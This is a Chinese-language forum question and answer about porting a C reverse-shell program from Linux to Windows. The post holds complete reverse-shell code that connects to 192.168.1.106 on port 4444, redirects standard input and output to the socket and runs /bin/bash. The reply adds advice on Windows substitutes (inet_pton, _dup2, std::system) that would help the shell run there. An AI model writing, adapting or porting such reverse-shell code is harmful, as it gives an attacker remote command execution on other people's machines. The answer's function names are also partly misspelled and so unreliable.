我目前正在从事有关TCP Remote Shell的C ++项目。因此,我构建以下代码。在Windows上工作时,我发现以下所有“ #include”的替代库和标头,除了<netinet/in.h>
感谢您的所有帮助!
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}
´´´´´´
请勿尝试查找从Linux到Windows的包含文件的匹配项。相反,请尝试逐步编译代码并添加所需的那些包含文件。我在代码中看到的是:
inet_addr
,您可以使用inet_pton
包含文件中的<Ws2tcpip.h>
。 dub2
在Windows中,即_dub2
内部使用<io.h>
。 execve
,使用std::system
。